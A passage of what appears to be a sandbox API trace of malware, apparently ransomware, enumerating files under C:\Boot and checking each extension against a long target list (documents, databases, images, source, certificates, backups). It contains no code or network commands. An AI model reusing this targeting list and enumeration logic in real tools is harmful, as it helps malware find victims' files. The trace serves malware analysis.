[0092.854] lstrlenW (lpString=".myd") returned 4 [0092.854] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0092.854] lstrlenW (lpString=".myi") returned 4 [0092.854] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0092.854] lstrlenW (lpString=".nef") returned 4 [0092.854] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0092.854] lstrlenW (lpString=".nrw") returned 4 [0092.854] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0092.854] lstrlenW (lpString=".obj") returned 4 [0092.854] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0092.854] lstrlenW (lpString=".odb") returned 4 [0092.855] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".odc") returned 4 [0092.855] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".odm") returned 4 [0092.855] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".odp") returned 4 [0092.855] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".ods") returned 4 [0092.855] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".oft") returned 4 [0092.855] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".one") returned 4 [0092.855] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".onepkg") returned 7 [0092.855] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0092.855] lstrlenW (lpString=".onetoc2") returned 8 [0092.855] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0092.855] lstrlenW (lpString=".opt") returned 4 [0092.855] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".oqy") returned 4 [0092.855] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".orf") returned 4 [0092.855] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".p12") returned 4 [0092.855] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0092.855] lstrlenW (lpString=".p7b") returned 4 [0092.856] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".p7c") returned 4 [0092.856] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pam") returned 4 [0092.856] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pbm") returned 4 [0092.856] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pct") returned 4 [0092.856] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pcx") returned 4 [0092.856] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pdd") returned 4 [0092.856] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pdf") returned 4 [0092.856] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pdp") returned 4 [0092.856] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pef") returned 4 [0092.856] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pem") returned 4 [0092.856] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pff") returned 4 [0092.856] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0092.856] lstrlenW (lpString=".pfm") returned 4 [0092.856] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0092.857] lstrlenW (lpString=".pfx") returned 4 [0092.857] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0092.857] lstrlenW (lpString=".pgm") returned 4 [0092.857] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0092.857] lstrlenW (lpString=".php") returned 4 [0092.857] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0092.857] lstrlenW (lpString=".php3") returned 5 [0092.857] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0092.857] lstrlenW (lpString=".php4") returned 5 [0092.857] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0092.857] lstrlenW (lpString=".php5") returned 5 [0092.857] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0092.857] lstrlenW (lpString=".phtml") returned 6 [0092.857] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0092.857] lstrlenW (lpString=".pict") returned 5 [0092.857] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0092.857] lstrlenW (lpString=".pl") returned 3 [0092.857] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0092.857] lstrlenW (lpString=".pls") returned 4 [0092.857] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0092.857] lstrlenW (lpString=".pm") returned 3 [0092.857] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0092.857] lstrlenW (lpString=".png") returned 4 [0092.857] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0092.857] lstrlenW (lpString=".pnm") returned 4 [0092.858] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0092.858] lstrlenW (lpString=".pot") returned 4 [0092.858] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0092.858] lstrlenW (lpString=".potm") returned 5 [0092.858] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0092.858] lstrlenW (lpString=".potx") returned 5 [0092.858] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0092.858] lstrlenW (lpString=".ppa") returned 4 [0092.858] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0092.858] lstrlenW (lpString=".ppam") returned 5 [0092.858] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0092.858] lstrlenW (lpString=".ppm") returned 4 [0092.858] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0092.858] lstrlenW (lpString=".pps") returned 4 [0092.858] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0092.858] lstrlenW (lpString=".ppsm") returned 5 [0092.858] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0092.858] lstrlenW (lpString=".ppt") returned 4 [0092.858] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0092.858] lstrlenW (lpString=".pptm") returned 5 [0092.858] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0092.858] lstrlenW (lpString=".pptx") returned 5 [0092.858] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0092.858] lstrlenW (lpString=".prn") returned 4 [0092.858] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".ps") returned 3 [0092.859] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0092.859] lstrlenW (lpString=".psb") returned 4 [0092.859] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".psd") returned 4 [0092.859] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".pst") returned 4 [0092.859] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".ptx") returned 4 [0092.859] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".pub") returned 4 [0092.859] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".pwm") returned 4 [0092.859] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".pxr") returned 4 [0092.859] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0092.859] lstrlenW (lpString=".py") returned 3 [0092.859] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0092.859] lstrlenW (lpString=".qt") returned 3 [0092.859] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0093.171] lstrlenW (lpString=".r3d") returned 4 [0093.171] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0093.171] lstrlenW (lpString=".raf") returned 4 [0093.171] lstrcmpiW (lpString1=".raf", lpString2=".mui") returned 1 [0093.171] lstrlenW (lpString=".rar") returned 4 [0093.171] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0093.171] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0093.172] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0093.172] FindClose (in: hFindFile=0x4260750 | out: hFindFile=0x4260750) returned 1 [0093.172] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0093.172] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0093.172] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0093.172] lstrlenW (lpString="C:\\Boot\\lt-LT") returned 13 [0093.172] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0093.172] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.172] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0093.172] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0093.173] lstrlenW (lpString=".1cd") returned 4 [0093.173] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0093.173] lstrlenW (lpString=".3ds") returned 4 [0093.173] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0093.173] lstrlenW (lpString=".3fr") returned 4 [0093.173] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0093.173] lstrlenW (lpString=".3g2") returned 4 [0093.173] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0093.173] lstrlenW (lpString=".3gp") returned 4 [0093.173] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0093.173] lstrlenW (lpString=".7z") returned 3 [0093.173] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0093.173] lstrlenW (lpString=".accda") returned 6 [0093.173] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0093.173] lstrlenW (lpString=".accdb") returned 6 [0093.173] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0093.173] lstrlenW (lpString=".accdc") returned 6 [0093.173] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0093.173] lstrlenW (lpString=".accde") returned 6 [0093.173] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0093.173] lstrlenW (lpString=".accdt") returned 6 [0093.173] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0093.173] lstrlenW (lpString=".accdw") returned 6 [0093.173] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0093.174] lstrlenW (lpString=".adb") returned 4 [0093.174] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".adp") returned 4 [0093.174] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".ai") returned 3 [0093.174] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0093.174] lstrlenW (lpString=".ai3") returned 4 [0093.174] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".ai4") returned 4 [0093.174] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".ai5") returned 4 [0093.174] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".ai6") returned 4 [0093.174] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".ai7") returned 4 [0093.174] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".ai8") returned 4 [0093.174] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".anim") returned 5 [0093.174] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0093.174] lstrlenW (lpString=".arw") returned 4 [0093.174] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0093.174] lstrlenW (lpString=".as") returned 3 [0093.174] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0093.174] lstrlenW (lpString=".asa") returned 4 [0093.174] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".asc") returned 4 [0093.175] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".ascx") returned 5 [0093.175] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0093.175] lstrlenW (lpString=".asm") returned 4 [0093.175] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".asmx") returned 5 [0093.175] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0093.175] lstrlenW (lpString=".asp") returned 4 [0093.175] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".aspx") returned 5 [0093.175] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0093.175] lstrlenW (lpString=".asr") returned 4 [0093.175] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".asx") returned 4 [0093.175] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".avi") returned 4 [0093.175] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".avs") returned 4 [0093.175] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".backup") returned 7 [0093.175] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0093.175] lstrlenW (lpString=".bak") returned 4 [0093.175] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0093.175] lstrlenW (lpString=".bay") returned 4 [0093.176] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".bd") returned 3 [0093.176] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0093.176] lstrlenW (lpString=".bin") returned 4 [0093.176] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".bmp") returned 4 [0093.176] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".bz2") returned 4 [0093.176] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".c") returned 2 [0093.176] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0093.176] lstrlenW (lpString=".cdr") returned 4 [0093.176] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".cer") returned 4 [0093.176] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".cf") returned 3 [0093.176] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0093.176] lstrlenW (lpString=".cfc") returned 4 [0093.176] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".cfm") returned 4 [0093.176] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".cfml") returned 5 [0093.176] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0093.176] lstrlenW (lpString=".cfu") returned 4 [0093.176] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0093.176] lstrlenW (lpString=".chm") returned 4 [0093.176] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".cin") returned 4 [0093.177] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".class") returned 6 [0093.177] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0093.177] lstrlenW (lpString=".clx") returned 4 [0093.177] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".config") returned 7 [0093.177] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0093.177] lstrlenW (lpString=".cpp") returned 4 [0093.177] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".cr2") returned 4 [0093.177] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".crt") returned 4 [0093.177] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".crw") returned 4 [0093.177] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".cs") returned 3 [0093.177] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0093.177] lstrlenW (lpString=".css") returned 4 [0093.177] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".csv") returned 4 [0093.177] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".cub") returned 4 [0093.177] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0093.177] lstrlenW (lpString=".dae") returned 4 [0093.177] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dat") returned 4 [0093.178] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".db") returned 3 [0093.178] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0093.178] lstrlenW (lpString=".dbf") returned 4 [0093.178] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dbx") returned 4 [0093.178] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dc3") returned 4 [0093.178] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dcm") returned 4 [0093.178] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dcr") returned 4 [0093.178] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".der") returned 4 [0093.178] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dib") returned 4 [0093.178] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dic") returned 4 [0093.178] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".dif") returned 4 [0093.178] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0093.178] lstrlenW (lpString=".divx") returned 5 [0093.178] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0093.178] lstrlenW (lpString=".djvu") returned 5 [0093.179] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0093.179] lstrlenW (lpString=".dng") returned 4 [0093.179] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0093.179] lstrlenW (lpString=".doc") returned 4 [0093.179] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0093.179] lstrlenW (lpString=".docm") returned 5 [0093.179] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0093.179] lstrlenW (lpString=".docx") returned 5 [0093.179] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0093.179] lstrlenW (lpString=".dot") returned 4 [0093.179] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0093.179] lstrlenW (lpString=".dotm") returned 5 [0093.179] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0093.179] lstrlenW (lpString=".dotx") returned 5 [0093.179] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0093.179] lstrlenW (lpString=".dpx") returned 4 [0093.179] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0093.179] lstrlenW (lpString=".dqy") returned 4 [0093.179] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0093.179] lstrlenW (lpString=".dsn") returned 4 [0093.179] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0093.179] lstrlenW (lpString=".dt") returned 3 [0093.179] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0093.179] lstrlenW (lpString=".dtd") returned 4 [0093.179] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0093.179] lstrlenW (lpString=".dwg") returned 4 [0093.179] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".dwt") returned 4 [0093.180] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".dx") returned 3 [0093.180] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0093.180] lstrlenW (lpString=".dxf") returned 4 [0093.180] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".edml") returned 5 [0093.180] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0093.180] lstrlenW (lpString=".efd") returned 4 [0093.180] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".elf") returned 4 [0093.180] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".emf") returned 4 [0093.180] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".emz") returned 4 [0093.180] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".epf") returned 4 [0093.180] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".eps") returned 4 [0093.180] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0093.180] lstrlenW (lpString=".epsf") returned 5 [0093.180] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0093.180] lstrlenW (lpString=".epsp") returned 5 [0093.180] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0093.180] lstrlenW (lpString=".erf") returned 4 [0093.180] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".exr") returned 4 [0093.181] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".f4v") returned 4 [0093.181] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".fido") returned 5 [0093.181] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0093.181] lstrlenW (lpString=".flm") returned 4 [0093.181] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".flv") returned 4 [0093.181] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".frm") returned 4 [0093.181] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".fxg") returned 4 [0093.181] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".geo") returned 4 [0093.181] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".gif") returned 4 [0093.181] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".grs") returned 4 [0093.181] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".gz") returned 3 [0093.181] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0093.181] lstrlenW (lpString=".h") returned 2 [0093.181] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0093.181] lstrlenW (lpString=".hdr") returned 4 [0093.181] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0093.181] lstrlenW (lpString=".hpp") returned 4 [0093.182] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".hta") returned 4 [0093.182] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".htc") returned 4 [0093.182] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".htm") returned 4 [0093.182] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".html") returned 5 [0093.182] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0093.182] lstrlenW (lpString=".icb") returned 4 [0093.182] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".ics") returned 4 [0093.182] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".iff") returned 4 [0093.182] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".inc") returned 4 [0093.182] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".indd") returned 5 [0093.182] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0093.182] lstrlenW (lpString=".ini") returned 4 [0093.182] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".iqy") returned 4 [0093.182] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0093.182] lstrlenW (lpString=".j2c") returned 4 [0093.182] lstrcmpiW (lpString1=".j2c", 